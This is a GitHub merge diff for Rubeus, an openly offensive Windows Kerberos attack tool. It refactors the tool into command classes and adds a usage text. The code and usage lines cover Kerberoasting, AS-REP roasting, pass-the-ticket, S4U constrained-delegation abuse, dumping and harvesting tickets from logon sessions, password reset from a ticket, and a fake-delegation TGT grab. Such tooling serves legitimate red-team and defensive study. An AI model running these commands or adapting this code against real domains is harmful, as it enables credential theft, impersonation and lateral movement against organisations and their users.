Merge pull request #3 from mark-s/master

Moved code from the if blocks in program.cs to Command objects
master
Will 2018-10-09 09:03:14 -07:00 committed by GitHub
commit dd5a25742b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
22 changed files with 1174 additions and 757 deletions

69
Rubeus/Commands/Asktgs.cs Normal file
View File

@ -0,0 +1,69 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus.Commands
{
public class Asktgs : ICommand
{
public static string CommandName => "asktgs";
public void Execute(Dictionary<string, string> arguments)
{
bool ptt = false;
string dc = "";
string service = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
else
{
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
}
}

124
Rubeus/Commands/Asktgt.cs Normal file
View File

@ -0,0 +1,124 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Asktgt : ICommand
{
public static string CommandName => "asktgt";
public void Execute(Dictionary<string, string> arguments)
{
string user = "";
string domain = "";
string hash = "";
string dc = "";
bool ptt = false;
uint luid = 0;
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
return;
}
if (arguments.ContainsKey("/show"))
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
}
else
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
}
Console.WriteLine();
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
{
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
return;
}
else
{
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
return;
}
}
}
}

View File

@ -0,0 +1,58 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Asreproast : ICommand
{
public static string CommandName => "asreproast";
public void Execute(Dictionary<string, string> arguments)
{
string user = "";
string domain = "";
string dc = "";
string format = "john";
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/format"))
{
format = arguments["/format"];
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(dc))
{
Roast.ASRepRoast(user, domain, "", format);
}
else
{
Roast.ASRepRoast(user, domain, dc, format);
}
}
}
}

View File

@ -0,0 +1,73 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus.Commands
{
public class Changepw : ICommand
{
public static string CommandName => "changepw";
public void Execute(Dictionary<string, string> arguments)
{
string newPassword = "";
string dc = "";
if (arguments.ContainsKey("/new"))
{
newPassword = arguments["/new"];
}
if (String.IsNullOrEmpty(newPassword))
{
Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n");
return;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Reset.UserPassword(kirbi, newPassword, dc);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Reset.UserPassword(kirbi, newPassword, dc);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
}
}

View File

@ -0,0 +1,35 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Createnetonly : ICommand
{
public static string CommandName => "createnetonly";
public void Execute(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/program"))
{
if (arguments.ContainsKey("/show"))
{
LSA.CreateProcessNetOnly(arguments["/program"], true);
}
else
{
LSA.CreateProcessNetOnly(arguments["/program"]);
}
}
else
{
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
}
}
}
}

View File

@ -0,0 +1,46 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus.Commands
{
public class Describe : ICommand
{
public static string CommandName => "describe";
public void Execute(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
}
}

57
Rubeus/Commands/Dump.cs Normal file
View File

@ -0,0 +1,57 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Dump : ICommand
{
public static string CommandName => "dump";
public void Execute(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/luid"))
{
string service = "";
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
UInt32 luid = 0;
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
LSA.ListKerberosTicketData(luid, service);
}
else if (arguments.ContainsKey("/service"))
{
LSA.ListKerberosTicketData(0, arguments["/service"]);
}
else
{
LSA.ListKerberosTicketData();
}
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class HarvestCommand : ICommand
{
public static string CommandName => "harvest";
public void Execute(Dictionary<string, string> arguments)
{
int intervalMinutes = 60;
if (arguments.ContainsKey("/interval"))
{
intervalMinutes = Int32.Parse(arguments["/interval"]);
}
Harvest.HarvestTGTs(intervalMinutes);
}
}
}

View File

@ -0,0 +1,10 @@
using System.Collections.Generic;
namespace Rubeus.Commands
{
public interface ICommand
{
void Execute(Dictionary<string, string> arguments);
}
}

View File

@ -0,0 +1,67 @@
using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
namespace Rubeus.Commands
{
public class Kerberoast : ICommand
{
public static string CommandName => "kerberoast";
public void Execute(Dictionary<string, string> arguments)
{
string spn = "";
string user = "";
string OU = "";
if (arguments.ContainsKey("/spn"))
{
spn = arguments["/spn"];
}
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/ou"))
{
OU = arguments["/ou"];
}
if (arguments.ContainsKey("/creduser"))
{
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
return;
}
string[] parts = arguments["/creduser"].Split('\\');
string domainName = parts[0];
string userName = parts[1];
if (!arguments.ContainsKey("/credpassword"))
{
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
return;
}
string password = arguments["/credpassword"];
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
Roast.Kerberoast(spn, user, OU, cred);
}
else
{
Roast.Kerberoast(spn, user, OU);
}
}
}
}

View File

@ -0,0 +1,30 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Monitor : ICommand
{
public static string CommandName => "monitor";
public void Execute(Dictionary<string, string> arguments)
{
string targetUser = "";
int interval = 60;
if (arguments.ContainsKey("/filteruser"))
{
targetUser = arguments["/filteruser"];
}
if (arguments.ContainsKey("/interval"))
{
interval = Int32.Parse(arguments["/interval"]);
}
Harvest.Monitor4624(interval, targetUser);
}
}
}

63
Rubeus/Commands/Ptt.cs Normal file
View File

@ -0,0 +1,63 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus.Commands
{
public class Ptt : ICommand
{
public static string CommandName => "ptt";
public void Execute(Dictionary<string, string> arguments)
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
}
}

39
Rubeus/Commands/Purge.cs Normal file
View File

@ -0,0 +1,39 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Purge : ICommand
{
public static string CommandName => "purge";
public void Execute(Dictionary<string, string> arguments)
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
LSA.Purge(luid);
}
}
}

View File

@ -0,0 +1,77 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus.Commands
{
public class RenewCommand : ICommand
{
public static string CommandName => "renew";
public void Execute(Dictionary<string, string> arguments)
{
bool ptt = false;
string dc = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
}
}

133
Rubeus/Commands/S4u.cs Normal file
View File

@ -0,0 +1,133 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus.Commands
{
public class S4u : ICommand
{
public static string CommandName => "s4u";
public void Execute(Dictionary<string, string> arguments)
{
string targetUser = "";
string targetSPN = "";
string altSname = "";
string user = "";
string domain = "";
string hash = "";
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/impersonateuser"))
{
targetUser = arguments["/impersonateuser"];
}
if (arguments.ContainsKey("/msdsspn"))
{
targetSPN = arguments["/msdsspn"];
}
if (arguments.ContainsKey("/altservice"))
{
altSname = arguments["/altservice"];
}
if (String.IsNullOrEmpty(targetUser))
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else if (arguments.ContainsKey("/user"))
{
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
user = arguments["/user"];
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
return;
}
}
}
}

View File

@ -0,0 +1,25 @@
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Tgtdeleg : ICommand
{
public static string CommandName => "tgtdeleg";
public void Execute(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/target"))
{
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
byte[] blah = LSA.RequestFakeDelegTicket();
}
}
}
}

View File

@ -0,0 +1,33 @@
using System.Collections.Generic;
using System.Diagnostics;
namespace Rubeus.Domain
{
public static class ArgumentParser
{
public static ArgumentParserResult Parse(IEnumerable<string> args)
{
var arguments = new Dictionary<string, string>();
try
{
foreach (var argument in args)
{
var idx = argument.IndexOf(':');
if (idx > 0)
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
else
arguments[argument] = string.Empty;
}
return ArgumentParserResult.Success(arguments);
}
catch (System.Exception ex)
{
Debug.WriteLine(ex.Message);
return ArgumentParserResult.Failure();
}
}
}
}

View File

@ -0,0 +1,24 @@
using System.Collections.Generic;
namespace Rubeus.Domain
{
public class ArgumentParserResult
{
public bool ParsedOk { get; }
public Dictionary<string, string> Arguments { get; }
private ArgumentParserResult(bool parsedOk, Dictionary<string, string> arguments)
{
ParsedOk = parsedOk;
Arguments = arguments;
}
public static ArgumentParserResult Success(Dictionary<string, string> arguments)
=> new ArgumentParserResult(true, arguments);
public static ArgumentParserResult Failure()
=> new ArgumentParserResult(false, null);
}
}

View File

@ -0,0 +1,59 @@
using System;
using System.Collections.Generic;
using Rubeus.Commands;
namespace Rubeus.Domain
{
public class CommandCollection
{
private readonly Dictionary<string, Func<ICommand>> _availableCommands = new Dictionary<string, Func<ICommand>>();
// How To Add A New Command:
// 1. Create your command class in the Commands Folder
// 2. That class must have a CommandName static property that has the Command's name
// and must also Implement the ICommand interface
// 3. Put the code that does the work into the Execute() method
// 4. Add an entry to the _availableCommands dictionary in the Constructor below.
public CommandCollection()
{
_availableCommands.Add(Asktgs.CommandName, () => new Asktgs());
_availableCommands.Add(Asktgt.CommandName, () => new Asktgt());
_availableCommands.Add(Asreproast.CommandName, () => new Asreproast());
_availableCommands.Add(Changepw.CommandName, () => new Changepw());
_availableCommands.Add(Createnetonly.CommandName, () => new Createnetonly());
_availableCommands.Add(Describe.CommandName, () => new Describe());
_availableCommands.Add(Dump.CommandName, () => new Dump());
_availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand());
_availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast());
_availableCommands.Add(Monitor.CommandName, () => new Monitor());
_availableCommands.Add(Ptt.CommandName, () => new Ptt());
_availableCommands.Add(Purge.CommandName, () => new Purge());
_availableCommands.Add(RenewCommand.CommandName, () => new RenewCommand());
_availableCommands.Add(S4u.CommandName, () => new S4u());
_availableCommands.Add(Tgtdeleg.CommandName, () => new Tgtdeleg());
}
public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
{
bool commandWasFound;
if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
commandWasFound= false;
else
{
// Create the command object
var command = _availableCommands[commandName].Invoke();
// and execute it with the arguments from the command line
command.Execute(arguments);
commandWasFound = true;
}
return commandWasFound;
}
}
}

85
Rubeus/Domain/Info.cs Normal file
View File

@ -0,0 +1,85 @@
using System;
namespace Rubeus.Domain
{
public static class Info
{
public static void ShowLogo()
{
Console.WriteLine("\r\n ______ _ ");
Console.WriteLine(" (_____ \\ | | ");
Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
Console.WriteLine(" v1.2.0\r\n");
}
public static void ShowUsage()
{
Console.WriteLine("\r\n Rubeus usage:");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):");
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
Console.WriteLine(" Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>");
Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
Console.WriteLine("\r\n Perform Kerberoasting:");
Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
}
}
}

View File

@ -1,766 +1,32 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Asn1;
using System.IO;
using System.Text.RegularExpressions;
using Rubeus.Domain;
namespace Rubeus
{
class Program
public class Program
{
public static void Logo()
public static void Main(string[] args)
{
System.Console.WriteLine("\r\n ______ _ ");
System.Console.WriteLine(" (_____ \\ | | ");
System.Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
System.Console.WriteLine(" v1.2.0\r\n");
}
Info.ShowLogo();
public static void Usage()
{
Console.WriteLine("\r\n Rubeus usage:");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):");
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
Console.WriteLine(" Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>");
Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
Console.WriteLine("\r\n Perform Kerberoasting:");
Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
}
static void Main(string[] args)
{
Logo();
